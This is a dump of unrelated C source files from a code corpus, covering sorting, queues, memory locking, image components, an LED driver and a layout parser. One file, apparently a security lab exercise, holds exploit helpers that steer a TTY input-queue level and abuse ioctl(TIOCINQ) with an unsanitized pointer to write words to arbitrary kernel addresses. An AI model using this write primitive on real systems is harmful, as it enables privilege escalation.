language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
---|---|
C
|
/* $Id: enumord.c 1024 2006-04-22 20:49:41Z loic $ */
/*
See comments in enumord.h.
Michael Maurer, Jun 2002
* This package is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 dated June, 1991.
*
* This package is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this package; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
#include <stdlib.h>
#include "enumord.h"
int enum_nbits[ENUM_ORDERING_MAXPLAYERS+1] = {0, 1, 2, 2, 3, 3, 3, 3};
typedef struct {
int index;
int handval;
} enum_rankelem_t;
static int
enum_rankelem_compare(const void *p1, const void *p2) {
enum_rankelem_t *e1 = (enum_rankelem_t *) p1;
enum_rankelem_t *e2 = (enum_rankelem_t *) p2;
if (e1->handval < e2->handval)
return -1;
else if (e1->handval == e2->handval)
return 0;
else
return 1;
}
void
enum_ordering_rank(HandVal *hands, int noqual, int nplayers, int *ranks,
int reverse)
{
enum_rankelem_t elems[ENUM_ORDERING_MAXPLAYERS];
int i;
int currank, lastval;
if (reverse)
noqual = -noqual;
for (i=0; i<nplayers; i++) {
elems[i].index = i;
elems[i].handval = reverse ? -hands[i] : hands[i];
}
/* TODO: we may find that the large number of function calls that qsort()
makes to enum_rankelem_compare(), even for small arrays, is too slow
to tolerate. After all, this function is called in the inner loop of
a hand outcome enumeration. Let's cross that bridge if we come to it. */
qsort(elems, nplayers, sizeof(enum_rankelem_t), enum_rankelem_compare);
currank = -1;
lastval = -1;
for (i=nplayers-1; i>=0; i--) {
if (elems[i].handval != lastval) {
currank = nplayers - i - 1;
lastval = elems[i].handval;
}
if (elems[i].handval == noqual)
currank = nplayers;
ranks[elems[i].index] = currank;
}
}
|
C
|
/*
** put_in_buf.c for 42sh in /home/maurin_t/
**
** Made by timothee maurin
** Login <maurin_t@epitech.net>
**
** Started on Tue May 17 16:17:00 2011 timothee maurin
** Last update Sun May 22 02:35:19 2011 timothee maurin
*/
#include <stdlib.h>
#include <string.h>
#include "shell.h"
#include "prototype.h"
void put_in_buf(char *buf, char *dest, int begin)
{
int tmp;
char *tmp2;
tmp = begin;
while (dest[begin] != '/' && begin > 0 && dest[begin] != ' '\
&& dest[begin] != ';')
begin--;
if (strncmp(buf, &(dest[begin + 1]), strlen(buf)) != 0)
{
tmp2 = strdup(&(dest[tmp]));
my_strcpy(&(dest[begin + strlen(buf) + 1]), tmp2);
if (begin != 0)
my_strcpy(&(dest[begin + 1]), buf);
else
my_strcpy(&(dest[begin]), buf);
free(tmp2);
}
}
|
C
|
//
// Created by sanguk on 12/06/2017.
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "arrayqueue.h"
ArrayQueue *createArrayQueue(int maxElementCount) {
ArrayQueue *pResult = (ArrayQueue *) malloc(sizeof(ArrayQueue));
if (NULL == pResult) return NULL;
memset(pResult, 0, sizeof(ArrayQueue));
pResult->pElement = (ArrayQueueNode *) malloc(sizeof(ArrayQueueNode) * maxElementCount);
if (NULL == pResult->pElement) {
free(pResult);
return NULL;
}
pResult->front = -1;
pResult->rear = -1;
pResult->maxElementCount = maxElementCount;
return pResult;
}
int enqueueAQ(ArrayQueue *pQueue, ArrayQueueNode element) {
int ret = FALSE;
if (pQueue == NULL) return ret;
if (TRUE == isArrayQueueFull(pQueue)) return ret;
pQueue->rear++;
pQueue->pElement[pQueue->rear] = element;
pQueue->currentElementCount++;
return ret;
}
ArrayQueueNode *dequeueAQ(ArrayQueue *pQueue){
ArrayQueueNode *pNode;
if (pQueue == NULL) return pNode;
if (TRUE == isArrayQueueEmpty(pQueue)) return pNode;
pNode = (ArrayQueueNode *)malloc(sizeof(ArrayQueueNode));
if (NULL == pNode) return pNode;
pQueue->front++;
pNode->data = pQueue->pElement[pQueue->front].data;
pQueue->currentElementCount--;
return pNode;
}
ArrayQueueNode *peekAQ(ArrayQueue *pQueue){
ArrayQueueNode *pNode;
if (pQueue == NULL) return pNode;
if (TRUE == isArrayQueueEmpty(pQueue)) return pNode;
return &(pQueue->pElement[pQueue->front + 1]);
}
void deleteArrayQueue(ArrayQueue *pQueue){
ArrayQueueNode *pNode;
if (pQueue == NULL) return;
while (FALSE == isArrayQueueEmpty(pQueue)){
pNode = dequeueAQ(pQueue);
free(pNode);
}
free(pQueue);
}
int isArrayQueueFull(ArrayQueue *pQueue) {
int ret = FALSE;
if (pQueue == NULL) return ret;
if (pQueue->currentElementCount == pQueue->maxElementCount) {
ret = TRUE;
}
return ret;
}
int isArrayQueueEmpty(ArrayQueue *pQueue) {
int ret = FALSE;
if (pQueue == NULL) return ret;
if (0 == pQueue->currentElementCount) {
ret = TRUE;
}
return ret;
}
|
C
|
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sched.h>
#include "exploit.h"
// --------------------------------------------------------------------------
// These helper functions provide convenient wrappers for the adjustment of
// the 'TTY Input Queue' fill level (the value FIONREAD/TIOCINQ exposes).
// --------------------------------------------------------------------------
static int pts_master, pts_slave;
static char buffer[512];
static int level;
/**
* Creates a new TTY device (actually a device pair). Don't worry about the
* technical details. If you're curious, you can read up on the functions
* that this one calls.
*/
void open_pts(void) {
pts_master = posix_openpt(O_RDWR | O_NOCTTY | O_NONBLOCK);
if (pts_master < 0) {
fprintf(stderr, "open_pts(): could not open master pseudo-terminal\n");
exit(1);
}
if (unlockpt(pts_master)) {
fprintf(stderr, "open_pts(): could not unlock master pseudo-terminal\n");
exit(1);
}
if (grantpt(pts_master)) {
fprintf(stderr, "open_pts(): could not grant master pseudo-terminal\n");
exit(1);
}
pts_slave = open(ptsname(pts_master), O_RDWR | O_NOCTTY | O_NONBLOCK);
if (pts_slave < 0) {
fprintf(stderr, "open_pts(): could not open slave pseudo-terminal\n");
exit(1);
}
memset(buffer, '@', 512);
}
/**
* Queue up the given number of characters at the TTY. Write it as a single
* line of input with a newline at the end, so that it will be consumed by a
* single read() call even if the line discipline is configured to line mode.
*/
void adjust_inq_level(unsigned int count) {
unsigned int result = 0;
if (level != 0) {
fprintf(stderr, "adjust_inq_level(): drain first, then adjust again\n");
exit(1);
}
while (result != count) {
if (count > 256) {
fprintf(stderr, "adjust_inq_level(): expected count in the range [0,255]\n");
exit(1);
}
buffer[count-1] = '\n';
result = write(pts_master, buffer, count);
buffer[count-1] = '@';
if (result != count) {
fprintf(stderr, "?");
drain_inq_level();
}
}
level = count;
}
/**
* Flush the queue of the TTY, dropping the count back to zero.
*/
void drain_inq_level(void) {
while (read(pts_slave, buffer+256, 256) > 0)
;
level = 0;
}
/**
* Exploit the write bug, storing the number of queued characters to the
* provided (unsanitized) int pointer. Note that this writes a word, i.e.
* FOUR bytes - you'll have to take this into account when planning your
* overwrite sequence.
*/
void write_a_word(void *address) {
int level_test;
int ioctl_success;
(void)ioctl(pts_slave, TIOCINQ, &level_test);
if (level != level_test) {
write(2, "E", 1);
return;
}
ioctl_success = ioctl(pts_slave, TIOCINQ, address);
if (ioctl_success != 0) {
write(2, "F", 1);
return;
}
}
|
C
|
/* ************************************************************************** */
/* */
/* :::::::: */
/* fltvect.c :+: :+: */
/* +:+ */
/* By: mraasvel <mraasvel@student.codam.nl> +#+ */
/* +#+ */
/* Created: 2020/12/19 20:55:24 by mraasvel #+# #+# */
/* Updated: 2020/12/19 22:53:48 by mraasvel ######## odam.nl */
/* */
/* ************************************************************************** */
#include <stdlib.h>
#include "libvect.h"
static void *fltvect_memcpy(void *dest, void *src, size_t n)
{
size_t i;
i = 0;
if (dest == src)
return (dest);
while (i < n)
{
((unsigned char*)dest)[i] = ((unsigned char*)src)[i];
i++;
}
return (dest);
}
t_fltvect *fltvect_init(size_t initial_size)
{
t_fltvect *vector;
if (initial_size == 0)
initial_size = 2;
vector = malloc(initial_size * sizeof(t_fltvect));
if (vector == NULL)
return (NULL);
vector->table = malloc(initial_size * sizeof(float));
if (vector->table == NULL)
{
free(vector);
return (NULL);
}
vector->nmemb = 0;
vector->size = initial_size;
return (vector);
}
void fltvect_free(t_fltvect *vector)
{
free(vector->table);
free(vector);
}
static int fltvect_realloc(t_fltvect *vector)
{
float *new_table;
vector->size *= 2;
new_table = malloc(vector->size * sizeof(float));
if (new_table == NULL)
return (-1);
fltvect_memcpy(new_table, vector->table, vector->nmemb * sizeof(float));
free(vector->table);
vector->table = new_table;
return (0);
}
int fltvect_pushback(t_fltvect *vector, float data)
{
if (vector->nmemb == vector->size)
{
if (fltvect_realloc(vector) == -1)
{
fltvect_free(vector);
return (-1);
}
}
vector->table[vector->nmemb] = data;
vector->nmemb += 1;
return (0);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "mergesort.h"
int int_comparator(const void *a, const void *b) {
return *(int*)a - *(int*)b;
}
int char_comparator(const void *a, const void *b) {
return *(char*)a - *(char*)b;
}
int str_comparator(const void *a, const void *b) {
return strcmp(*(const char**)a, *(const char**)b);
}
int main(int argc, char *argv[]) {
int i;
if (argc > 2) {
if (!strcmp(argv[1], "int")) {
int *array_int = malloc((argc - 2) * sizeof(int));
assert(array_int != NULL);
for (i = 0; i < argc - 2; i++)
array_int[i] = atoi(argv[i + 2]);
mergesort(array_int, argc - 2, sizeof(int), int_comparator);
for (int i = 0; i < argc - 2; i++)
printf("%i ", array_int[i]);
free(array_int);
} else if (!strcmp(argv[1], "char")) {
char *array_char = malloc((argc - 2) * sizeof(char));
assert(array_char != NULL);
for (i = 0; i < argc - 2; i++)
array_char[i] = argv[i + 2][0];
mergesort(array_char, argc - 2, sizeof(char), char_comparator);
for (int i = 0; i < argc - 2; i++)
printf("%c ", array_char[i]);
free(array_char);
} else {
mergesort(argv+2, argc - 2, sizeof(argv[2]), str_comparator);
for (int i = 0; i < argc - 2; i++)
printf("%s ", argv[i+2]);
}
}
return 0;
}
|
C
|
#define _GNU_SOURCE /* Для dprintf() */
#include <stdio.h>
#include <string.h>
#include <errno.h> /* Для errno */
#include <unistd.h> /* Для mincore() */
#include <sys/mman.h> /* Для mlockall(), munlockall(), mmap() и munmap() */
/* Функция mem_lock_unlock_all() выполняет следующие действия:
*
* 1. Создает первое анонимное отображение
* 2. Блокирует страницы виртуального адресного пространства процесса вызовом функции mlockall(), передав ей битовую маску флагов,
* указанную параметром flags
* 3. Создает второе анонимное отображение
* 4. Вызовом функции print_incore() проверяет, какие страницы каждого из анонимных отображений присутствуют в оперативной памяти
*
* Теоретические результаты:
*
* flags == MCL_CURRENT
*
* Страницы первого анонимного отображения (действительные на момент вызова функции mlockall()) присутствуют в оперативной памяти
* Страницы второго анонимного отображения (которое, на момент вызова mlockall(), еще не существовало) отсутствуют в оперативной памяти
*
* flags == (MCL_CURRENT | MCL_FUTURE)
*
* Страницы первого анонимного отображения (действительные на момент вызова функции mlockall()) присутствуют в оперативной памяти
* Страницы второго анонимного отображения (которое, на момент вызова mlockall(), еще не существовало) присутствуют в оперативной памяти
*
* 5. Удаляет второе анонимное отображение
* 6. Вызовом функции munlockall() разблокирует сброс в swap страниц виртуального адресного пространства процесса
* 7. Удаляет первое анонимное отображение
*
* Причина использования анонимных отображений:
*
* Анонимные отображения (как и файловые отображения) создаются в виде отдельных сегментов виртуального адресного пространства процесса - таким образом,
* мы гарантируем, что страницы виртуального адресного пространства процесса, занимаемые после вызова mmap() анонимными отображениями, являются
* недействительными до вызова mmap().
*
* В случае выделения памяти с помощью функций malloc(), calloc(), realloc() или posix_memalign() выделяемые процессу области его виртуального
* адресного пространства расположены в куче (сегменте данных) и потенциально (особенно в "не первых" вызовах функции mem_lock_unlock_all()) содержат
* действительные (но свободные) страницы еще до выполнения вызовов означенных функций - таким образом, даже при использовании флага MCL_CURRENT,
* блокированной от сброса в swap может оказаться область виртуального адресного пространства процесса, выделяемая после вызова функции mlockall()
*
* Вывод:
*
* Используя анонимные отображения, мы соблюдаем чистоту эксперимента
*/
void mem_lock_unlock_all(int flags);
/* Функция print_incore() проверяет с помощью функции mincore(), какие из page_num страниц виртуального адресного пространства процесса,
* начиная со страницы, расположенной по адресу ptr, присутствуют в оперативной памяти */
void print_incore(void *ptr, unsigned short page_num);
/* Главная функция программы */
int main()
{
printf("\n---> Блокирование сброса в swap только действительных на момент вызова mlockall() страниц виртуального адресного пространства процесса \
(MCL_CURRENT)\n\n");
/* Вызываем функцию mem_lock_unlock_all(), предписывая той выполнить вызов функции mlockall() с битовой маской флагов == MCL_CURRENT */
mem_lock_unlock_all(MCL_CURRENT);
printf("---> Блокирование сброса в swap всех страниц виртуального адресного пространства процесса (MCL_CURRENT | MCL_FUTURE)\n\n");
/* Вызываем функцию mem_lock_unlock_all(), предписывая той выполнить вызов функции mlockall() с битовой маской флагов == (MCL_CURRENT | MCL_FUTURE) */
mem_lock_unlock_all(MCL_CURRENT | MCL_FUTURE);
return 0;
}
/* Функция mem_lock_unlock_all() выполняет вызовы функций mlockall() и munlockall() */
void mem_lock_unlock_all(int flags)
{
/* Константа компилятора PAGE_NUM содержит количество страниц, занимаемых обоими создаваемыми анонимными отображениями */
#define PAGE_NUM 5
void *ptr[2];
/* Переменная ptr_size содержит размер в байтах обоих создаваемых анонимных отображений */
size_t ptr_size = PAGE_NUM * 4096;
printf("\t---> Выделение процессу анонимным отображением %u-и страниц его виртуального адресного пространства\n", PAGE_NUM);
/* Предписываем ОС создать первое анонимное отображение
*
* Размер: ptr_size байт
* Защита: (PROT_READ | PROT_WRITE) - доступны чтение и запись
* Флаги: (MAP_PRIVATE | MAP_ANONYMOUS) - не разделяемое, анонимное отображение */
if(
(ptr[0] = mmap(NULL, ptr_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED
)
dprintf(2, "\n\tОшибка при создании анонимного отображения: %s\n\n", strerror(errno));
else
{
printf("\t---> Блокирование сброса в swap страниц виртуального адресного пространства процесса с помощью функции mlockall()\n");
/* Блокируем сброс в swap страниц виртуального адресного пространства процесса */
if(
mlockall(flags) == -1
)
{
/* Ошибка с кодом ENOMEM произойдет в случае, если процесс не имеет характеристику CAP_IPC_LOCK и превысил мягкий лимит RLIMIT_MEMLOCK */
if(errno == ENOMEM)
dprintf(2, "\n\tОшибка при блокировании сброса в swap страниц виртуального адресного пространства процесса:\n\t\t\
Процесс не имеет характеристики CAP_IPC_LOCK и превысил мягкий лимит RLIMIT_MEMLOCK\n\n");
else
dprintf(2, "\tОшибка при блокировании сброса в swap всех страниц виртуального адресного пространства процесса: %s\n",
strerror(errno));
}
else
{
printf("\t---> Выделение процессу анонимным отображением %u-и страниц его виртуального адресного пространства\n", PAGE_NUM);
/* Предписываем ОС создать второе анонимное отображение
*
* Размер: ptr_size байт
* Защита: (PROT_READ | PROT_WRITE) - доступны чтение и запись
* Флаги: (MAP_PRIVATE | MAP_ANONYMOUS) - не разделяемое, анонимное отображение */
if(
(ptr[1] = mmap(NULL, ptr_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED
)
dprintf(2, "\n\tОшибка при создании анонимного отображения: %s\n\n", strerror(errno));
else
{
printf("\t---> Проверка нахождения в оперативной памяти страниц первого анонимного отображения\n\n");
/* Проверяем, какие страницы первого анонимного отображения присутствуют в оперативной памяти */
print_incore(ptr[0], PAGE_NUM);
printf("\t---> Проверка нахождения в оперативной памяти страниц второго анонимного отображения\n\n");
/* Проверяем, какие страницы второго анонимного отображения присутствуют в оперативной памяти */
print_incore(ptr[1], PAGE_NUM);
printf("\t---> Удаление второго анонимного отображения\n");
/* Удаляем второе анонимное отображение */
munmap(ptr[1], ptr_size);
}
printf("\t---> Разблокирование сброса в swap страниц виртуального адресного пространства процесса с помощью функции munlockall()\n");
/* Разблокируем сброс в swap страниц виртуального адресного пространства процесса */
if(
munlockall() == -1
)
dprintf(2, "\n\tОшибка при разблокировании сброса в swap всех страниц виртуального адресного пространства процесса: %s\n\n",
strerror(errno));
}
printf("\t---> Удаление первого анонимного отображения\n\n");
/* Удаляем первое анонимное отображение */
munmap(ptr[0], ptr_size);
}
}
/* Функция print_incore() проверяет с помощью функции mincore(), какие из page_num страниц виртуального адресного пространства процесса,
* начиная со страницы, расположенной по адресу ptr, присутствуют в оперативной памяти */
void print_incore(void *ptr, unsigned short page_num)
{
/* Следуя рекомендациям документации, массив vec будет иметь размер (page_num + 1) элементов */
unsigned char vec[page_num + 1];
/* Проверяем, какие из page_num страниц виртуального адресного пространства процесса,
* начиная со страницы, расположенной по адресу ptr, присутствуют в оперативной памяти */
if(
mincore(ptr, page_num * 4096, vec) == -1
)
perror("\t\tОшибка при получении информации о страницах виртуального адресного пространства процесса, находящихся в оперативной памяти");
else
{
/* Функция mincore() успешно вернула требуемую информацию в массиве vec */
int x;
/* Для каждой из страниц виртуального адресного пространства процесса из заданного диапазона,
* присутствующих в оперативной памяти, выведем соответствующее сообщение */
for(x = 0; x < page_num; x++)
if(vec[x])
printf("\t\tСтраница %d находится в оперативной памяти\n", x + 1);
printf("\n");
}
}
|
C
|
#include <stdio.h>
#include <stdbool.h>
int **REC;
int AVGAREA=0;
int AVGCount=0;
int findConnectedComponent(unsigned char *thresholdData, int x, int y, int w, int h, int *area,int *cx, int *cy)
{
if (!(*(thresholdData + (x * w) + y)))
return 0;
*(thresholdData + (x * w) + y) = 0;
*area=*area+1;
*cx +=x;
*cy +=y;
for (int i = x - 1; i <= x + 1; i++) {
if (i < 0 || i >= h) continue;
for (int j = y - 1; j <= y + 1; j++) {
if (j < 0 || j >= w) continue;
if (*(thresholdData + (i * w) + j)) {
findConnectedComponent(thresholdData, i, j, w, h,area,cx,cy);
}
}
}
}
int LargestConnectedComponent(unsigned char *thresholdData, int x, int y, int w, int h, int *area2,int Pos,int x1,int y1)
{
int area=0,cx=0,cy=0;
for(int i=x-25;i<x+25;i++)
{
if(*(thresholdData + (i * w) + y))
{
area=0,cx=0,cy=0;
findConnectedComponent(thresholdData, i, y, w, h,&area,&cx,&cy);
if(AVGAREA==0)
{AVGAREA=area;AVGCount++;}
if(area>(AVGAREA*.7))
{
REC[Pos][0] = Pos;
REC[Pos][1] = y1+(cy/area);
REC[Pos][2] = x1+(cx/area);
REC[Pos][3] = area;
long int avg = AVGAREA*AVGCount + area;
AVGCount++;
AVGAREA = avg/AVGCount;
*area2= area;
return 0;
}
}
}
int largeArea=0;
for (int i = 0; i < h; i++) {
for (int j = 0; j < w; j++) {
if (*(thresholdData + (i * w) + j))
{
area=0,cx=0,cy=0;
findConnectedComponent(thresholdData, i, y, w, h,&area,&cx,&cy);
if (area > largeArea)
{
findConnectedComponent(thresholdData, i, y, w, h,&area,&cx,&cy);
if(AVGAREA==0)
{AVGAREA=area;AVGCount++;}
if(area>(AVGAREA*.7))
{
REC[Pos][0] = Pos;
REC[Pos][1] = y1+(cy/area);
REC[Pos][2] = x1+(cx/area);
REC[Pos][3] = area;
long int avg = AVGAREA*AVGCount + area;
AVGCount++;
AVGAREA = avg/AVGCount;
}
largeArea = area;
}
}
}
}
long int avg = ((long int)AVGAREA)*AVGCount + area;
AVGCount++;
AVGAREA = avg/AVGCount;
*area2=area;
return 0;
}
|
C
|
/*
* @Author: zxt
* @Date: 2018-05-21 16:41:01
* @Last Modified by: zxt
* @Last Modified time: 2018-05-21 17:57:38
*/
#include "general.h"
// ***************************************************************
// typedef
typedef struct
{
uint8_t enable;
uint8_t state;
uint8_t times;
uint16_t periodT1Set;
uint16_t periodT2Set;
uint16_t periodT1;
uint16_t periodT2;
} singleport_drive_t;
singleport_drive_t singlePortDrive[PORT_MAX];
APP_TIMER_DEF(singlePortTmr);
//***********************************************************************************
//
// Led init.
//
//***********************************************************************************
void SinglePortDriveClkCb(void * p_context)
{
uint8_t i;
for(i = 0; i < PORT_MAX; i++)
{
if(singlePortDrive[i].enable)
{
if(singlePortDrive[i].times)
{
if(singlePortDrive[i].periodT1)
{
singlePortDrive[i].periodT1--;
if(singlePortDrive[i].periodT1 == 0)
bspSinglePort.PortSet(i, !singlePortDrive[i].state);
}
else
{
if(singlePortDrive[i].periodT2)
{
singlePortDrive[i].periodT2--;
}
else
{
singlePortDrive[i].times--;
if(singlePortDrive[i].times)
bspSinglePort.PortSet(i, singlePortDrive[i].state);
singlePortDrive[i].periodT1 = singlePortDrive[i].periodT1Set;
singlePortDrive[i].periodT2 = singlePortDrive[i].periodT2Set;
}
}
}
else
{
bspSinglePort.PortSet(i, !singlePortDrive[i].state);
singlePortDrive[i].enable = 0;
}
}
}
for(i = 0; i < PORT_MAX; i++)
{
if(singlePortDrive[i].enable == true)
break;
}
if(i >= PORT_MAX)
{
app_timer_stop(singlePortTmr);
}
}
//***********************************************************************************
//
// Led control.
// id: allow multi led
// state: led first state, 0 or 1
// period: led blink time, 0 means just set led state and no blink
// times: led blink times, 0 means just set led state and no blink
//
//***********************************************************************************
void SetSinglePort(uint8_t ledId, uint8_t state, uint16_t period1, uint16_t period2, uint8_t times)
{
uint8_t i;
app_timer_stop(singlePortTmr);
bspSinglePort.PortSet(ledId, state);
if (period1 == 0 || times == 0) {
/* Unlock resource */
for(i = 0; i < PORT_MAX; i++)
{
if(singlePortDrive[i].enable)
break;
}
if(i < PORT_MAX)
{
app_timer_start(singlePortTmr, APP_TIMER_TICKS(SINGLEPORTDRIVE_PERIOD_CLOCK_TIME_MS), NULL);
}
return;
}
singlePortDrive[ledId].enable = true;
singlePortDrive[ledId].times = times;
singlePortDrive[ledId].state = state;
singlePortDrive[ledId].periodT1Set = (period1 >= SINGLEPORTDRIVE_PERIOD_CLOCK_TIME_MS)?period1/SINGLEPORTDRIVE_PERIOD_CLOCK_TIME_MS:1;
singlePortDrive[ledId].periodT2Set = (period2 >= SINGLEPORTDRIVE_PERIOD_CLOCK_TIME_MS)?period2/SINGLEPORTDRIVE_PERIOD_CLOCK_TIME_MS:1;
singlePortDrive[ledId].periodT1 = singlePortDrive[ledId].periodT1Set;
singlePortDrive[ledId].periodT2 = singlePortDrive[ledId].periodT2Set;
app_timer_start(singlePortTmr, APP_TIMER_TICKS(SINGLEPORTDRIVE_PERIOD_CLOCK_TIME_MS), NULL);
}
//***********************************************************************************
//
// Led toggle.
// id: allow multi led
//
//***********************************************************************************
void SinglePortToggle(uint8_t portId)
{
bspSinglePort.PortToggle(portId);
}
//***********************************************************************************
//
// Led toggle.
// id: allow multi led
//
//***********************************************************************************
void SinglePortSetPolar(uint8_t portId, uint8_t status)
{
bspSinglePort.PortSet(portId, status);
}
void SinglePortDriveInit(void)
{
bspSinglePort.BspInit();
memset(singlePortDrive, 0, sizeof(singlePortDrive));
app_timer_create(&singlePortTmr,
APP_TIMER_MODE_REPEATED,
SinglePortDriveClkCb);
}
|
C
|
/* Claro Graphics - an abstraction layer for native UI libraries
*
* $Id$
*
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
* License for the specific language governing rights and limitations
* under the License.
*
* See the LICENSE file for more details.
*/
#include <claro/graphics.h>
#include <math.h>
void sizeinfo_set( sizeinfo_t *ptr, int size, int percentage )
{
ptr->size = size;
ptr->is_percentage = (uchar)percentage;
ptr->is_set = 1;
if ( ptr->size == 0 )
ptr->is_set = 0;
}
void sizeinfo_set_from_string( sizeinfo_t *ptr, const char *str )
{
int last = strlen( str ) - 1;
char stmp[32];
int percent = 0;
strcpy( stmp, str );
while ( last >= 0 && (str[last] == 'p' || str[last] == 'x') )
last--;
stmp[last+1] = 0;
if ( stmp[last] == '%' )
{
stmp[last] = 0;
percent = 1;
}
sizeinfo_set( ptr, atoi( stmp ), percent );
//printf( "SIZE: %d (%d)\n", ptr->size, ptr->is_percentage );
}
void lelex_destroy( lelex_t *lel )
{
// rows only contain pointers to the same memory block as the main ->cells
free( lel->rows );
free( lel->cells );
free( lel );
}
lelex_t *lelex_parse( const char *layout )
{
lelex_t *lel = NULL;
const char *ptr;
lel = g_new0(lelex_t, 1);
lel->numrows = 0;
lel->numcells = 0;
for ( ptr = layout; *ptr != 0; ptr++ )
{
if ( *ptr == ']' )
lel->numrows++;
if ( *ptr == '|' || *ptr == ']' )
lel->numcells++;
}
//printf( "%d rows, %d cells\n", lel->numrows, lel->numcells );
// allocate all rows and all cells
lel->rows = g_new0( lelex_row_t, lel->numrows );
lel->cells = g_new0( lelex_cell_t, lel->numcells );
// set row's cell pointers
lelex_cell_t *cell_ptr = lel->cells;
int row = 0;
char cell_name[32] = "";
int name_pos = 0;
for ( ptr = layout; *ptr != 0; ptr++ )
{
if ( *ptr == ' ' || *ptr == '\t' )
continue;
//printf( "%c", *ptr );
if ( *ptr == '[' )
{
// row has begin. set it's details
lel->rows[row].cells = cell_ptr;
lel->rows[row].numcells = 0;
continue;
}
if ( *ptr == '|' || *ptr == ']' )
{
// cell has finished (through end of cell or row)
strcpy( cell_ptr->name, cell_name );
//printf( "CELL: %s\n", cell_name );
lel->rows[row].numcells++;
cell_ptr++;
strcpy( cell_name, "" );
name_pos = 0;
}
else if ( name_pos == 0 && *ptr == '_' )
{
sizeinfo_set_from_string( &lel->rows[row].height, "100%" );
continue;
}
else if ( *ptr == '<' || *ptr == '>' )
{
cell_ptr->flags |= cLelexCellMinimum;
}
else if ( *ptr == '{' )
{
char tmp[16] = "0";
int tmp_pos = 0;
ptr++; // ignore the bracket
// parse row properties
while ( *ptr && *ptr != '}' )
{
if ( tmp_pos < 15 )
{
tmp[tmp_pos] = *ptr;
tmp_pos++;
}
ptr++;
}
tmp[tmp_pos] = 0;
sizeinfo_set_from_string( &lel->rows[row].height, tmp );
}
else if ( *ptr == '(' )
{
char tmp[16] = "0";
int tmp_pos = 0;
ptr++; // ignore the bracket
// parse cell properties, starting with width
while ( *ptr && *ptr != ')' && *ptr != ',' )
{
if ( tmp_pos < 15 )
{
tmp[tmp_pos] = *ptr;
tmp_pos++;
}
ptr++;
}
tmp[tmp_pos] = 0;
sizeinfo_set_from_string( &cell_ptr->width, tmp );
// then the same for height, if it exists
if ( *ptr == ',' )
{
tmp[0] = '0';
tmp[1] = 0;
tmp_pos = 0;
ptr++; // ignore the comma
while ( *ptr && *ptr != ')' )
{
if ( tmp_pos < 15 )
{
tmp[tmp_pos] = *ptr;
tmp_pos++;
}
ptr++;
}
tmp[tmp_pos] = 0;
sizeinfo_set_from_string( &cell_ptr->height, tmp );
if ( lel->rows[row].height.is_percentage == 0 &&
lel->rows[row].height.size < cell_ptr->height.size )
{
lel->rows[row].height.size = cell_ptr->height.size;
lel->rows[row].height.is_set = 1;
}
}
}
else
{
// limited to 32 chars including null char
if ( name_pos == 31 )
continue;
cell_name[name_pos] = *ptr;
name_pos++;
cell_name[name_pos] = 0;
}
if ( *ptr == ']' )
{
//printf( "--- (row was %d%s height)\n", lel->rows[row].height.size, lel->rows[row].height.is_percentage?"%":"px" );
// row has finished.
row++;
}
}
//printf( "\n" );
return lel;
}
void lelex_calculate_cells( lelex_t *lel, lelex_row_t *row, int width, int height, int min_cell_width, int min_cell_height )
{
int cell;
int unknown_cells = 0;
// the remaining width after statically widthed rows
int available_width = width;
// the total % of height requested from available
int percentage_width = 0;
int percentage_available = 0;
// calculate how many unknown cells
for ( cell = 0; cell < row->numcells; cell++ )
{
if ( row->cells[cell].flags & cLelexCellMinimum )
{
row->cells[cell].width.is_set = 1;
row->cells[cell].width.is_percentage = 0;
row->cells[cell].width.size = min_cell_width;
}
if ( row->cells[cell].width.is_set )
{
if ( row->cells[cell].width.is_percentage )
percentage_width += row->cells[cell].width.size;
else
available_width -= row->cells[cell].width.size;
}
else
unknown_cells++;
}
if ( percentage_width > 0 )
{
// rows with unknown size become min_cell_height
int min_unknown_width = min_cell_width * unknown_cells;
int total_percentage = 0;
percentage_available = available_width;
total_percentage = percentage_width;
if ( total_percentage >= 100 )
total_percentage = 100;
percentage_available *= total_percentage / 100.0;
if ( percentage_available > available_width - min_unknown_width )
percentage_available = available_width - min_unknown_width;
available_width = available_width - percentage_available;
}
else
{
percentage_width = 1;
}
if ( 1 )
{
float cell_shared_f = (float)available_width / (float)(unknown_cells<=0?1:unknown_cells);
int cell_shared = floor(cell_shared_f);
int percent_used = 0;
int percent_space_used = 0;
int x_pos = 0;
for ( cell = 0; cell < row->numcells; cell++ )
{
lelex_cell_t *cellp = &row->cells[cell];
int cell_width = 0;
if ( cellp->width.is_set )
{
if ( cellp->width.is_percentage )
{
percent_used += cellp->width.size;
cell_width = percentage_available * cellp->width.size / percentage_width;
if ( percent_used == percentage_width )
{
cell_width = percentage_available - percent_space_used;
}
percent_space_used += cell_width;
}
else
{
cell_width = cellp->width.size;
}
}
else
{
cell_width = cell_shared;
unknown_cells--;
if ( unknown_cells == 0 )
{
cell_width = ceil( cell_shared_f );
}
}
row->cells[cell].bounds.x = x_pos;
row->cells[cell].bounds.w = cell_width<=0?1:cell_width;
//printf( " --> Cell %d (\"%s\") starts at %dpx and is %dpx wide.\n", cell, cellp->name, x_pos, cell_width );
x_pos += cell_width;
}
}
}
void lelex_calculate( lelex_t *lel, int width, int height, int min_cell_width, int min_cell_height )
{
int row, cell;
int unknown_rows = 0;
// the remaining height after statically heighted rows
int available_height = height;
// the total % of height requested from available
int percentage_height = 0;
int percentage_available = 0;
